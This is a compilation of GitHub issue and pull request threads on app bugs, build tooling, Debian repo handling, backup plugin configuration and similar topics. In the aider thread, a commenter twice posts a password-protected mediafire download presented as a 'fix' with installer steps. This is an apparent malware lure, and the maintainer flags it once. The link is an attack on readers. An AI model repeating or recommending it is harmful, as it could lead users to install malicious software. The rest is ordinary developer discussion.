[Cosmetic] Box for Checkmarks goes slightly off-screen when having 3 lines for an item

Hello there,
first, thank you very much for keeping this updated. Also in a way that no update yet broke anything and was just a docker-compose up -d and we´re done :-)
But I got a complaint from my partner in with the latest Update of the Android app. The issue is, that she has a slightly bigger font configured for her Android phone, which works systemwide and for all apps as far as I know. This was not an issue with the last groceries version, but now that we went to 1.0 she realized that the boxes for the checkmarks go off-screen a bit when she has more than 2 lines for an item and even if it are only 2, they hardly fit into the "boundaries".
This is not a problem you introduced in v1.0, I think it is just that the font size she uses it a bit bigger than the system default. Because of that I flagged that as [Cosmetic].
I think (if possible), it could help if each item has a flexible size instead of a size that usually can accomodate 2 lines and is fixed. I have no idea how hard it is to implement, but it would be fantastic if the section for an item would be rendered depending on how much is in it. I will try to attach a picture, so you can see what I mean.
Thanks again for everything you have done so far, we really enjoy using the app :-)

Have to admit I hadn't tested multi-line item names, but yeah looks off. Fixed in v1.0.1.

Holy smokes! How did you fix that so quick! 🥇
Thank you very much! It looks VERY good now, even if you crank up the font size in Android to eleven.
The only think I noticed is when we downloaded the current .apk, that it did not want to upgrade because the same app (version?) is already installed. I had to uninstall the old version and then install the new version. This is not a big deal, but I just wanted to mention it, because you mentioned in the 1.0.0 release notes that you follow android standards regarding versioning. But maybe that is not related.

v1.0.2 now released which now has a signed release with the same key every time. To install the 1.0.2 release you will have to uninstall/reinstall again, but if all goes well for v1.0.3 and later the upgrade should go through automatically.

Awesome, Thank you very much. Updating will be so much easier with Google Play (or maybe F-Droid?) if this happens in the future :-)


Access to Grid state

Hi,
Keeping in mind issue56 I would like to have an access to Grid state to use it in other component and which will re-render it when I save data in grid. How can I achieve this?
Regards

Hi, Keeping in mind issue56 I would like to have an access to Grid state to use it in other component and which will re-render it when I save data in grid. How can I achieve this? Regards

Hi @Krugerro
If I understand correctly, you want to have access to Grid State(items in the Editable Grid) whenever you update something on the Grid.
Also, I am assuming by 'Save', you are referring to the action of updating something on the grid(without clicking the 'Submit' button).
Are these assumptions correct?

Hi,
You understood me well and your assumptions are correct.

Hi @Krugerro
Please find the below PR that addresses this issue.
https://github.com/microsoft/FluentUIEditableDetailsList/pull/73
Look for onGridUpdate function in GridConsumer.tsx to see how you consume the data from the callback. Dont forget to add onGridUpdate property when calling the Grid.

Works like a charm after single row update and row add 👍. Fails when item is deleted: onGridUpdate is fired but in callback data is still same length (this attribute I tested) and other component does not re-render and data change is not reflected. Please check on this. Thanks.

Works like a charm after single row update and row add 👍. Fails when item is deleted: onGridUpdate is fired but in callback data is still same length (this attribute I tested) and other component does not re-render and data change is not reflected. Please check on this. Thanks.

Hi @Krugerro
That is by design. You may want to filter the returned items by 'grid_row_operation == Operation.Delete' in order to get the deleted rows.
Reason:-
When you delete an item in the grid, the Grid only does a 'soft delete' i.e. it just marks the 'grid_row_operation' attribute for that row to 'Operation.Delete'. It does not physically delete the row from the data structure. Because, as a user, when you delete the row from the grid, you may want to reconcile that same in the backend(if the data is powered from a backend). For that, you would need to send the identifier of the deleted rows to the backend. Hence, the returned rows contain the deleted rows as well, marked with 'soft delete'.
Now coming to your issue. As I understand, you may be re-rendering the other component based on the length of the current grid data. Instead of that, you can filter the grid data based on different Operations(Update, Add, or Delete) and use those to re-render the other component.
Hope this helps.

That makes complete sense and I will use it while updating data in backend - thought I would have to "calculate" changes by my own now I see everything is included.
Thank you @kushalmehrotra713 very much for updates and explanation.

Thanks @Krugerro
Glad that it helped. 💯
Closing the issue.


[Question] How do I get it to create the file if I'm creating my own website?

Issue
How do I get it to create the file if I'm creating my own website?
cost:

I'm using su aider with deepseek API: aider --deepseek
I'm inside the root of my empty project (without files and without folders)

Version and model info
No response

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."

You should probably NOT click on the link in the last comment.
Thanks for trying aider and filing this issue. This doc may be helpful:
https://aider.chat/docs/usage.html

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Tell it something like "make me a webpage with X on it" and it will make a file. Or you can do /add newfilename.ext and aider will add one.

Ya, deepseek isn't nearly as capable a model as Sonnet unfortunately.
I'm going to close this issue for now, but feel free to add a comment here and I will re-open or file a new issue any time.


[release-4.13] OCPBUGS-8433: Fix flake MetalLB resources should have correct statuses

cherry-pick of: https://github.com/openshift/metallb-operator/pull/178
Note:

The fix for the flake is in the commit: "Use the DeployTimeout const in e2etest".
The other commits are different improvements that were add together with the fix,
that makes sense to include them here as well.
The commit "Update kind's node image" was omitted deliberately.

/override ci/prow/ci-index-upgrade-bundle
/lgtm
/approve

/approve

/backport-risk-assisted

/label backport-risk-assessed

/override ci/prow/ci-index-upgrade-bundle

/label cherry-pick-approved


Reload certificate on change

Avoid restarts every 3 months (or at least automate them).

For now reloading on every connection.


Pass raw_source.

Else we operate on modified strings, which might invalidate signatures.
This fixes verifying the "encapsulated" variant of pgp/mime, where a encrypted part contains a signed multipart — currently the decryption of the outer part returns an altered string compared to the originally signed string.

Is there anything that I can do to have this merged soon?

merged, thanks!


Fail to backup with BOSH BBR Director Plugin and BOSH BBR Deployment Plugin

I'm using BOSH 264.7.0 and CF 1.8.0.
I deployed Shield with below manifest using BOSH. (Important information was replaced with capital letters.)
---
instance_groups:
- azs:
  - z1
  instances: 1
  jobs:
  - name: core
    properties:
      agent:
        key: |
          -----BEGIN RSA PRIVATE KEY-----
          AGENT_KEY
          -----END RSA PRIVATE KEY-----
      domain: MY_DOMAIN
      failsafe:
        password: MY_PASSWORD
      log_level: debug
      tls:
        certificate: |
          -----BEGIN CERTIFICATE-----
          TLS_CERT
          -----END CERTIFICATE-----
        key: |
          -----BEGIN RSA PRIVATE KEY-----
          TLS_KEY
          -----END RSA PRIVATE KEY-----
      vault:
        tls:
          ca: |
            -----BEGIN CERTIFICATE-----
            VAULT_TLS_CA
            -----END CERTIFICATE-----
          certificate: |
            -----BEGIN CERTIFICATE-----
            VAULT_TLS_CERT
            -----END CERTIFICATE-----
          key: |
            -----BEGIN RSA PRIVATE KEY-----
            VAULT_TLS_KEY
            -----END RSA PRIVATE KEY-----
    provides:
      shield:
        as: shield
        shared: true
    release: shield
  - consumes:
      shield:
        from: shield
    name: shield-agent
    properties:
      core:
        ca: |
          -----BEGIN CERTIFICATE-----
          CORE_CA
          -----END CERTIFICATE-----
      log_level: debug
    release: shield
  - name: shield-addon-bbr
    release: shield-addon-bbr
  name: shield
  networks:
  - default:
    - dns
    - gateway
    name: bosh
    static_ips: SHIELD_IP
  - name: vip
    static_ips: SHIELD_VIP
  persistent_disk_type: 50GB
  stemcell: default
  vm_type: t2.small
name: shield
releases:
- name: shield
  version: 8.0.8
- name: shield-addon-bbr
  version: 0.1.1
stemcells:
- alias: default
  os: ubuntu-trusty
  version: '3468.17'
update:
  canaries: 0
  canary_watch_time: 1000-120000
  max_in_flight: 1
  serial: true
  update_watch_time: 1000-120000
variables: []

When I try to backup with bbr director plugin and bbr deployment plugin, I meet some errors.
case 1 : backup bbr director
In /var/vcap/sys/log/shield/shieldd.log, it seems to fail to find bbr private key.
INFO:  schedule task 5fec7b57-6879-43e4-9c47-f2e035ad4ff0 with deadline<PHONE_NUMBER>
INFO:    5fec7b57-6879-43e4-9c47-f2e035ad4ff0> Validating environment...
INFO:    5fec7b57-6879-43e4-9c47-f2e035ad4ff0> =========================
INFO:    5fec7b57-6879-43e4-9c47-f2e035ad4ff0> SHIELD_OP ... found
INFO:    5fec7b57-6879-43e4-9c47-f2e035ad4ff0> SHIELD_STORE_PLUGIN ... found
INFO:    5fec7b57-6879-43e4-9c47-f2e035ad4ff0> SHIELD_STORE_ENDPOINT ... found
INFO:    5fec7b57-6879-43e4-9c47-f2e035ad4ff0> SHIELD_TARGET_PLUGIN ... found
INFO:    5fec7b57-6879-43e4-9c47-f2e035ad4ff0> SHIELD_TARGET_ENDPOINT ... found
INFO:    5fec7b57-6879-43e4-9c47-f2e035ad4ff0> OK
INFO:    5fec7b57-6879-43e4-9c47-f2e035ad4ff0>
INFO:    5fec7b57-6879-43e4-9c47-f2e035ad4ff0> Validating TARGET plugin `bbr-director`...
INFO:    5fec7b57-6879-43e4-9c47-f2e035ad4ff0> ==========================================
INFO:    5fec7b57-6879-43e4-9c47-f2e035ad4ff0> bbr plugin starting up...
INFO:    5fec7b57-6879-43e4-9c47-f2e035ad4ff0> ✓ bbr_host  MY_BBR_HOST
INFO:    5fec7b57-6879-43e4-9c47-f2e035ad4ff0> ✓ bbr_privatekey  -----BEGIN RSA PRIVATE KEY-----MY_PRIVATE_KEY-----END RSA PRIVATE KEY-----
INFO:    5fec7b57-6879-43e4-9c47-f2e035ad4ff0> ✓ bbr_sshusername  jumpbox
INFO:    5fec7b57-6879-43e4-9c47-f2e035ad4ff0> OK
INFO:    5fec7b57-6879-43e4-9c47-f2e035ad4ff0>
INFO:    5fec7b57-6879-43e4-9c47-f2e035ad4ff0> Validating STORE plugin `s3`...
INFO:    5fec7b57-6879-43e4-9c47-f2e035ad4ff0> ===============================
INFO:    5fec7b57-6879-43e4-9c47-f2e035ad4ff0> ✓ s3_host              s3.amazonaws.com
INFO:    5fec7b57-6879-43e4-9c47-f2e035ad4ff0> ✓ access_key_id        MY_ACCESS_KEY_ID
INFO:    5fec7b57-6879-43e4-9c47-f2e035ad4ff0> ✓ s3_port
INFO:    5fec7b57-6879-43e4-9c47-f2e035ad4ff0> ✓ secret_access_key    MY_SECRET_ACCESS_KEY
INFO:    5fec7b57-6879-43e4-9c47-f2e035ad4ff0> ✓ bucket               MY_BUCKET
INFO:    5fec7b57-6879-43e4-9c47-f2e035ad4ff0> ✓ prefix               (none)
INFO:    5fec7b57-6879-43e4-9c47-f2e035ad4ff0> ✓ signature_version    4
INFO:    5fec7b57-6879-43e4-9c47-f2e035ad4ff0> ✓ part_size            5M
INFO:    5fec7b57-6879-43e4-9c47-f2e035ad4ff0> ✓ socks5_proxy         (no proxy will be used)
INFO:    5fec7b57-6879-43e4-9c47-f2e035ad4ff0> ✓ skip_ssl_validation  no, SSL WILL be validated
INFO:    5fec7b57-6879-43e4-9c47-f2e035ad4ff0> OK
INFO:    5fec7b57-6879-43e4-9c47-f2e035ad4ff0>
INFO:    5fec7b57-6879-43e4-9c47-f2e035ad4ff0> Running backup task (using bzip2 compression)
INFO:    5fec7b57-6879-43e4-9c47-f2e035ad4ff0> =============================================
INFO:    5fec7b57-6879-43e4-9c47-f2e035ad4ff0> bbr plugin starting up...
INFO:    5fec7b57-6879-43e4-9c47-f2e035ad4ff0> [bbr] 2018/05/14 07:08:50 INFO - Looking for scripts
INFO:    5fec7b57-6879-43e4-9c47-f2e035ad4ff0> 1 error occurred:
INFO:    5fec7b57-6879-43e4-9c47-f2e035ad4ff0> error 1:
INFO:    5fec7b57-6879-43e4-9c47-f2e035ad4ff0> ssh.NewConnection.ParsePrivateKey failed: ssh: no key found
INFO:    5fec7b57-6879-43e4-9c47-f2e035ad4ff0>
INFO:    5fec7b57-6879-43e4-9c47-f2e035ad4ff0>
INFO:    5fec7b57-6879-43e4-9c47-f2e035ad4ff0> exit status 1
INFO:    5fec7b57-6879-43e4-9c47-f2e035ad4ff0>
INFO:    5fec7b57-6879-43e4-9c47-f2e035ad4ff0> EXITING 4
INFO:    5fec7b57-6879-43e4-9c47-f2e035ad4ff0> shield worker 2 unable to run command against <IP_ADDRESS>:5444
WARN:    5fec7b57-6879-43e4-9c47-f2e035ad4ff0: task failed!

But in temporary directory in shield vm, the key file exists.
$ ll /tmp
-rw-------  1 root root    0 May 14 07:08 shield-pipe.hKKAV
-rw-------  1 root root 1648 May 14 07:08 test144514993
$ cat /tmp/test144514993
-----BEGIN RSA PRIVATE KEY-----MY_PRIVATE_KEY-----END RSA PRIVATE KEY-----

case 2: backup cf deployment
In /var/vcap/sys/log/shield/shieldd.log, it seems to fail to find ca cert.
INFO:  schedule task 345c1275-10e0-46f8-82fb-792d68945eea with deadline<PHONE_NUMBER>
INFO:    345c1275-10e0-46f8-82fb-792d68945eea> Validating environment...
INFO:    345c1275-10e0-46f8-82fb-792d68945eea> =========================
INFO:    345c1275-10e0-46f8-82fb-792d68945eea> SHIELD_OP ... found
INFO:    345c1275-10e0-46f8-82fb-792d68945eea> SHIELD_STORE_PLUGIN ... found
INFO:    345c1275-10e0-46f8-82fb-792d68945eea> SHIELD_STORE_ENDPOINT ... found
INFO:    345c1275-10e0-46f8-82fb-792d68945eea> SHIELD_TARGET_PLUGIN ... found
INFO:    345c1275-10e0-46f8-82fb-792d68945eea> SHIELD_TARGET_ENDPOINT ... found
INFO:    345c1275-10e0-46f8-82fb-792d68945eea> OK
INFO:    345c1275-10e0-46f8-82fb-792d68945eea>
INFO:    345c1275-10e0-46f8-82fb-792d68945eea> Validating TARGET plugin `bbr-deployment`...
INFO:    345c1275-10e0-46f8-82fb-792d68945eea> ============================================
INFO:    345c1275-10e0-46f8-82fb-792d68945eea> bbr plugin starting up...
INFO:    345c1275-10e0-46f8-82fb-792d68945eea> ✓ bbr_deployment  cf
INFO:    345c1275-10e0-46f8-82fb-792d68945eea> ✓ bbr_target  MY_BBR_TARGET
INFO:    345c1275-10e0-46f8-82fb-792d68945eea> ✓ bbr_username  admin
INFO:    345c1275-10e0-46f8-82fb-792d68945eea> ✓ bbr_password  MYPASSWORD
INFO:    345c1275-10e0-46f8-82fb-792d68945eea> ✓ bbr_cacert  -----BEGIN CERTIFICATE-----MY_CERTIFICATE-----END CERTIFICATE-----
INFO:    345c1275-10e0-46f8-82fb-792d68945eea> OK
INFO:    345c1275-10e0-46f8-82fb-792d68945eea>
INFO:    345c1275-10e0-46f8-82fb-792d68945eea> Validating STORE plugin `s3`...
INFO:    345c1275-10e0-46f8-82fb-792d68945eea> ===============================
INFO:    345c1275-10e0-46f8-82fb-792d68945eea> ✓ s3_host              s3.amazonaws.com
INFO:    345c1275-10e0-46f8-82fb-792d68945eea> ✓ access_key_id        MY_ACCESS_KEY_ID
INFO:    345c1275-10e0-46f8-82fb-792d68945eea> ✓ s3_port
INFO:    345c1275-10e0-46f8-82fb-792d68945eea> ✓ secret_access_key    MY_SECRET_ACCESS_KEY
INFO:    345c1275-10e0-46f8-82fb-792d68945eea> ? bucket               MY_BUCKET
INFO:    345c1275-10e0-46f8-82fb-792d68945eea> ? prefix               (none)
INFO:    345c1275-10e0-46f8-82fb-792d68945eea> ? signature_version    4
INFO:    345c1275-10e0-46f8-82fb-792d68945eea> ? part_size            5M
INFO:    345c1275-10e0-46f8-82fb-792d68945eea> ? socks5_proxy         (no proxy will be used)
INFO:    345c1275-10e0-46f8-82fb-792d68945eea> ? skip_ssl_validation  no, SSL WILL be validated
INFO:    345c1275-10e0-46f8-82fb-792d68945eea> OK
INFO:    345c1275-10e0-46f8-82fb-792d68945eea>
INFO:    345c1275-10e0-46f8-82fb-792d68945eea> Running backup task (using bzip2 compression)
INFO:    345c1275-10e0-46f8-82fb-792d68945eea> =============================================
INFO:    345c1275-10e0-46f8-82fb-792d68945eea> bbr plugin starting up...
INFO:    345c1275-10e0-46f8-82fb-792d68945eea> 1 error occurred:
INFO:    345c1275-10e0-46f8-82fb-792d68945eea> error 1:
INFO:    345c1275-10e0-46f8-82fb-792d68945eea> error building bosh director client: Validating Director connection config: Parsing certificate 1: Missing PEM block
INFO:    345c1275-10e0-46f8-82fb-792d68945eea>
INFO:    345c1275-10e0-46f8-82fb-792d68945eea>
INFO:    345c1275-10e0-46f8-82fb-792d68945eea> exit status 1
INFO:    345c1275-10e0-46f8-82fb-792d68945eea>
INFO:    345c1275-10e0-46f8-82fb-792d68945eea> EXITING 4
INFO:    345c1275-10e0-46f8-82fb-792d68945eea> shield worker 1 unable to run command against <IP_ADDRESS>:5444
WARN:    345c1275-10e0-46f8-82fb-792d68945eea: task failed!
INFO:  discarding message from ws client...

But in temporary directory of shield vm, the key file exists.
$ ll /tmp
-rw-------  1 root root    0 May 14 07:26 shield-pipe.dJCWH
-rw-------  1 root root    0 May 14 07:08 shield-pipe.hKKAV
-rw-------  1 root root 1648 May 14 07:08 test144514993
-rw-------  1 root root 1108 May 14 07:26 test513034857
$ cat /tmp/test513034857
-----BEGIN CERTIFICATE-----MY_CERTIFICATE-----END CERTIFICATE-----

I'm just guessing these errors are occurred because of permission mismatch like below or the location of shield agent.
$ ps -ef | grep shield
vcap      4618     1  0 06:58 ?        00:00:04 /var/vcap/packages/shield/bin/shieldd
root      4727     1  0 06:59 ?        00:00:00 /var/vcap/packages/shield/bin/shield-agent --log-level error --config /var/vcap/jobs/shield-agent/config/agent.conf

Please let me know what should I do to correct this problem.
Another question is about the location of shield agent.
In your image http://shieldproject.io/docs/getting-started/image00.png, only the redis instance need agent in itself.
So I did not deploy shield agent in neither bosh director nor cf deployment. I just use shield agent in shield vm with bbr plugins.
Should I deploy another shield agent? If I should, which instance in cf deployment shoud have shield agent?

Sorry. It was my mistake.
I omit new line (/n) in the end of each line when I make one line bbr_privatekey and bbr_cacert. Then it makes the error when the plugins read pk and cacert file.
I resolved this error so I close this issue.
Thanks.

@eujungkim how did you resolve the issue exactly, i seem to be stuck at the same point as you.
I am adding the key as a oneliner with '\n' after each technical newline of a private Key and the sed command doesnt seem to be doing that effectively.
KR,
Alex

@GoozeyX The issue is not clearly solved in web ui. So I input data draftly in web ui, and after than, correct it by cli.
At #408, there is simple guide for using cli.

We've also got a backlog item somewhere to make the BBR plugins less sensitive to whitespace.


Apple Music Search not working

Hi, When you click on the link the following URL is generated, which does not work
https://music.apple.com/us/search?term=craig%2Bdavid%2Bborn%2Bto%2Bdo%2Bit
However the following does
https://music.apple.com/us/search?term=Craig David Born To Do It
possibly something to do with the space encode

Check if it's fixed in v3.1


MAINT: Move possible side assignment to insert metadata method.

The previous workflow was:

insert basic metadata for all assets

iterate over all metadata entries. Create a sid if one does not
exist

call insert_metadata again to update the assigned sid value.

Instead, create a sid, if missing on the initial metadata assignment and
remove the second pass of calling insert_metadata.
Also, since the sid assignment code is only done in this one context,
inline the sid assignment code so that there is less code step through
while looking for where sid assignment is done.

cc: @jfkirk
This is chunked off from a larger change to the dichotomy of 'using a pre-defined asset finder' versus 'assigning sids on the fly.'.

:+1: Makes sense


Cannot create service of type DefaultBuildEventsListenerRegistry

Context: https://issuetracker.google.com/193859160
Using the MyApplication.zip and running cd buildSrc && gw test, this fails with Caused by: org.gradle.internal.service.ServiceCreationException: Cannot create service of type DefaultBuildEventsListenerRegistry using DefaultBuildEventsListenerRegistry constructor as required service of type BuildEventListenerFactory for parameter #1 is not available.
It seems that when using the ProjectBuilder to create a test project, not all services are created. This is an issue because plugins applying AGP in tests will fail as AGP registers an OperationCompletionListener instance during application.

Hi is there any workaround for this issue?  Half of our unit tests for our Gradle plugin (which depends on the Android Gradle Plugin) now fail.
Thanks!

@th-jtullgren issuetracker.google.com/193859160 contains a workaround.

The issue is still present in Gradle 7.1.1.

The workaround found in issuetracker.google.com/193859160 worked for me. thanks

This bug impacts likely any project testing Kotlin Gradle plugin as of version 1.6.0, see https://youtrack.jetbrains.com/issue/KT-49547 for more details, Spring is impacted.

Duplicate of https://github.com/gradle/gradle/issues/16774


Document making a pull request

Add some examples of making pull requests to encourage ease of contributions.

Could The Turing Way's PR instructions be helpful here? (Licensed with CC-BY, so we could just credit them in the CONTRIBUTIONS file in alto2txt.)


feat: support flat repos

[!NOTE]
Stacked on top of #96

Fixes issue #56
Follow-up and credit to @alexconrey (PR #55), @ericlchen1 (PR #64) and @benmccown (PR #67) for their work on similar PRs that I've reviewed and drawn some inspiration to create "one 💍 PR to merge them all" 😅
Problem
Debian has two types of repos: "canonical" and "flat". Each has a different sources.list syntax:
"canonical": (see https://wiki.debian.org/DebianRepository/Format#Overview)
deb uri distribution [component1] [component2] [...]

flat: (see https://wiki.debian.org/DebianRepository/Format#Flat_Repository_Format)
deb uri directory/

Per the spec,

A flat repository does not use the dists hierarchy of directories, and instead places meta index and indices directly into the archive root (or some part below it)

Thus, the URL logic in _fetch_package_index() is incorrect for these repos and it always fails to fetch the Package index.
Solution
Just use the Debian sources.list convention in the sources section of the manifest to add canonical and flat repos. Depending on whether the channel has one directory that ends in '/' or a (dist, component, ...) structure the _fetch_package_index () and other internal logic will know whether the source is a canonical or a flat repo.
For example:
version: 1

sources:
  # canonical repo
  - channel: bullseye main contrib
    url: https://snapshot-cloudflare.debian.org/archive/debian/20240210T223313Z
  # flat repos, note the trailing '/' and the lack of distribution or components
  - channel: bullseye-cran40/
    url: https://cloud.r-project.org/bin/linux/debian
  - channel: ubuntu2404/x86_64/
    url: https://developer.download.nvidia.com/compute/cuda/repos

archs:
  - amd64

packages:
  - bash
  - r-mathlib
  - nvidia-container-toolkit-base

Disregarding the "mixing" of Ubuntu and Debian repos for the purpose of the example, this manifest shows that you can mix canonical and flat repos and you can mix multiarch and single-arch flat repos and canonical repos.
You will still have the same problems as before with packages that only exist for one architecture and/or repos that only support one architecture. In those cases, simply separate the repos and packages into their own manifests.

[!NOTE]
This PR also fixes an issue with NVIDIA CUDA flat repos that don't follow the Debian repo spec and have invalid 'Filename' paths.

The Debian repo spec for 'Filename' says:

The mandatory Filename field shall list the path of the package archive relative to the base directory of the repository. The path should be in canonical form, that is, without any components denoting the current or parent directory ("." or ".."). It also should not make use of any protocol-specific components, such as URL-encoded parameters.

However, there are cases where this is not honored. In those cases we try to work around this by assuming 'Filename' is relative to the sources.list directory/ so we combine them and normalize the new 'Filename' path.
Note that, so far, only the NVIDIA CUDA repos needed this workaround so maybe this heuristic will break for other repos that don't conform to the Debian repo spec.

See previous discussions in #86


Revert "Use in_guaranteed for let captures"

Reverts apple/swift#29812
https://ci.swift.org/job/oss-swift-incremental-ASAN-RA-osx/4458

@swift-ci Please test ASAN

@swift-ci Please ASAN test

@meg-gupta I'm going to merge this once the PR test successfully build stdlib.

@meg-gupta Shouldn't this revert go ahead? I thought that https://github.com/apple/swift/pull/29812 was accidentally merged because it was never rebased and there's no commit message

@atrick It wasn't merged by accident.

I did a squash merge and I do see a commit message ?

Never mind. Apparently the original PR was merged correctly. I just expected to see the commits squashed in a rebase.


[MS-337] fixed a bug which disallows a runner name to contain hyphen

Description
To fix the bug raised here:
https://github.com/aiverify-foundation/moonshot/issues/261
There is an issue creating runner in CLI if the runner name has a hyphen.
Motivation and Context
Type of Change
Bug fix
How to Test

Start Moonshot CLI: python -m moonshot cli interactive
Create a new session using the command that triggered the bug: new_session new_session123 -e "['openai-gpt4']"
There should be no errors now after the runner is created.

Checklist
Please check all the boxes that apply to this pull request using "x":

[x]  I have tested the changes locally and verified that they work as expected.
[ ]  I have added or updated the necessary documentation (README, API docs, etc.).
[ ]  I have added appropriate unit tests or functional tests for the changes made.
[x]  I have followed the project's coding conventions and style guidelines.
[x]  I have rebased my branch onto the latest commit of the main branch.
[ ]  I have squashed or reorganized my commits into logical units.
[ ]  I have added any necessary dependencies or packages to the project's build configuration.
[x]  I have performed a self-review of my own code.
[x]  I have read, understood and agree to the Developer Certificate of Origin below, which this project utilises.

Screenshots (if applicable)
[If the changes involve visual modifications, include screenshots or GIFs that demonstrate the changes.]
Additional Notes
[Add any additional information or context that might be relevant to reviewers.]

Developer Certificate of Origin
Developer Certificate of Origin
Version 1.1

Copyright (C) 2004, 2006 The Linux Foundation and its contributors.

Everyone is permitted to copy and distribute verbatim copies of this
license document, but changing it is not allowed.

Developer's Certificate of Origin 1.1

By making a contribution to this project, I certify that:

(a) The contribution was created in whole or in part by me and I
   have the right to submit it under the open source license
   indicated in the file; or

(b) The contribution is based upon previous work that, to the best
   of my knowledge, is covered under an appropriate open source
   license and I have the right under that license to submit that
   work with modifications, whether created in whole or in part
   by me, under the same open source license (unless I am
   permitted to submit under a different license), as indicated
   in the file; or

(c) The contribution was provided directly to me by some other
   person who certified (a), (b) or (c) and I have not modified
   it.

(d) I understand and agree that this project and the contribution
   are public and that a record of the contribution (including all
   personal information I submit with it, including my sign-off) is
   maintained indefinitely and may be redistributed consistent with
   this project or the open source license(s) involved.

Issue Fixed. Screenshot attached.


Support simplePaginate()

Hi,
I will submit this as a PR this time.. I should have time over Christmas to do it :)
Would you be happy with an option to use simplePaginate() vs paginate()? If so, do you have any preference on how it's implemented?

I'm fine with that! I think it would be nice to have a boolean property $simplePaginate which defaults to false. With a simplePaginate you'd be able to set that property to true. Then in the getIdAndOrderAttributes method there should be a check how to paginate.
Migrating private properties to protected is fine as well, so I'll close #8 :)

Fantastic, I'm hoping to look at this tomorrow! 😀

Thanks for the PR! I've changed it a little bit so only have to call the simplePaginate method (see docs).

Perfect, it did feel a bit weird as I wrote it but left it incase you wanted it explicit.
That change looks great.
Thanks again!


add ViT for Segment-Anything Model

This Issue:
https://github.com/huggingface/pytorch-image-models/issues/1757
Support ViT variant in Segment-Anything  or ViTDet
Due to the non standard ViT structure used by Segment-Anything Model(SAM)：

window attention just like swin-transformer (no-overlap)
relative position encoding just like vision_transformer_relpos
some other different details like global attention and windows attention choose

So I created a new class for SAM's variant  of ViT. Some changes may be needed, such as supporting any shape input and change the code style.

The docs for this PR live here. All of your documentation changes will be reflected on that endpoint.

@seefun looks good, did you run a check on difference of the output vs the original? w/o the classifier heads can't validate on imagenet or anything else....

@seefun looks good, did you run a check on difference of the output vs the original? w/o the classifier heads can't validate on imagenet or anything else....

Yes, I checked it using this code:
# timm features
m = timm.create_model('samvit_large_patch16.sa1b', pretrained=True).eval()

with torch.no_grad():
    pred1 = m.forward_features(a)

# sam features
from segment_anything import SamPredictor, sam_model_registry
sam = sam_model_registry["vit_b"](checkpoint='sam_vit_l_01ec64.pth')
predictor = SamPredictor(sam)

with torch.no_grad():
    pred2 = sam.image_encoder(a)

# assert equal
np.testing.assert_almost_equal(pred1.numpy(), pred2.numpy(), decimal=4)


Add @serializabe_property

Codecov Report

Merging #227 (1863e27) into main (8c3742c) will decrease coverage by 0.04%.
The diff coverage is 64.70%.

:mega: This organization is not using Codecov’s GitHub App Integration. We recommend you install it so Codecov can continue to function properly for your repositories. Learn more
@@            Coverage Diff             @@
##             main     #227      +/-   ##
==========================================
- Coverage   78.48%   78.45%   -0.04%
==========================================
  Files         112      112
  Lines        6908     6925      +17
  Branches     1158     1166       +8
==========================================
+ Hits         5422     5433      +11
- Misses       1318     1321       +3
- Partials      168      171       +3

Impacted Files
Coverage Δ

orchestrator/domain/base.py
88.38% <64.70%> (-0.67%)
:arrow_down:

:mega: We’re building smart automated test selection to slash your CI/CD build times. Learn more


Command line parameter --format MsBuild has no effect in response file

Describe the bug
When "--format MsBuild" is specified in response file rather than on command line the error reporting is still in "Human Readable" format. Response files are widely used in MsBuild and Visual Studio fails to parse and report these errors correctly.
To Reproduce

Create response file
qsc.rsp:
--input a.qs
--format MsBuild

Create Q# file a.qs with errors

Run "dotnet qsc.dll build --response-files qsc.rsp"

See that errors are in "Human Readable" format:

Warning QS3101:
File: C:/Users/dmitryv/Documents/Q/TryQSC/a.qs
Position: [ln 2, cn 92]
Deprecated syntax. Use "is Ctl+Adj" to denote the operation characteristics instead.

Move "--format MsBuild" to command line

Observe errors in MS Build format:

C:/Users/dmitryv/Documents/Q/TryQSC/a.qs(2,92): warning QS3101: Deprecated syntax. Use "is Ctl+Adj" to denote the operation characteristics instead.
Expected behavior
I expect --format switch to have the same effect on command file and in response file.
Screenshots

System information
.nuget\packages\microsoft.quantum.sdk\0.10.2001.1505-alpha

Yes, same for -v (verbose mode). The --response-file parameter is not processed as nicely as it should. Hopefully we'll get around to do some clean up soon-ish.

I fixed this - PR is coming soon.


Send a notification when the 2nd factor wsa recreated (GSI-740)

Pull Request Test Coverage Report for Build<PHONE_NUMBER>
Details

14 of 23 (60.87%)  changed or added relevant lines in 3 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage decreased (-0.3%) to 89.345%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

src/auth_service/auth_adapter/translators/event_pub.py
13
17
76.47%

src/auth_service/auth_adapter/ports/event_pub.py
0
5
0.0%

Totals

Change from base Build<PHONE_NUMBER>:
-0.3%

Covered Lines:
1937

Relevant Lines:
2168

💛  - Coveralls


Turn warnings on for tests

I generally think it's a good idea to enable warnings for tests. With these on you will spot 2 issues:

lib/rbvmomi/connection.rb:237: warning: instance variable @loader not initialized
lib/rbvmomi/vim/HostSystem.rb:162: warning: method redefined; discarding old cli_info

@jrgarcia Look ok?

Totally makes sense, thanks @djberg96 🎉


Modify the project to admit configurations per type of output

Hi,
I am eyeballing utilizing this package for a prototype I am building at my current workplace to generate PDFs from a dynamically generated HTML.
As it stands today, the package allows to generate such PDFs nicely. However, I would like to be able to configure the output, namely, I would like to configure DisplayHeaderFooter. Currently, there is only one configuration available (for all types of output) that is SetFullPage. I have been dabbling in different ways to propose a change to the project to do properly dependency injection. However, it is clear that doing dependency injection would affect the main interface of the package becoming a breaking change.
I was wondering how would you approach this and how willing to accept these type of breaking changes. If you are positive to that, I could take a stab at it.
What I am thinking on is the following:

Simplifying the Generator interface to just Generate function.
Creating a Configurator interface that defines a Configure method. Such would be implemented in the specific generators themselves.
Deprecate SetFullPage by de-coupling from the Generator interface and let Configure do its thing instead.
Inject the configuration at instantiation time depending on the type of builder.

Do you have any thoughts on this?

I made a quick example as part of #4 Note that the PR is just to showcase what I mean.

The main problem with the structure of the pkg as it is now is that the configuration would, oddly enough, be buried under the internal package, making it impossible to use.

Hello,
I already had something like this in mind, but dind't have the time to implement it. Great to know that you want to use this package.
We can do this, yes. There's others improvements I may work on too.

Ok, cool.
How do you want to proceed? How can I contribute?

I think we can do it async. I'll take a look at your PR, implement my ideas over it, then you can review and contribute if needed.
Just let me know if you got any max deadlines. I'm planning to implement it this weekend.

Please check it out https://github.com/luabagg/orcgen/pull/5.

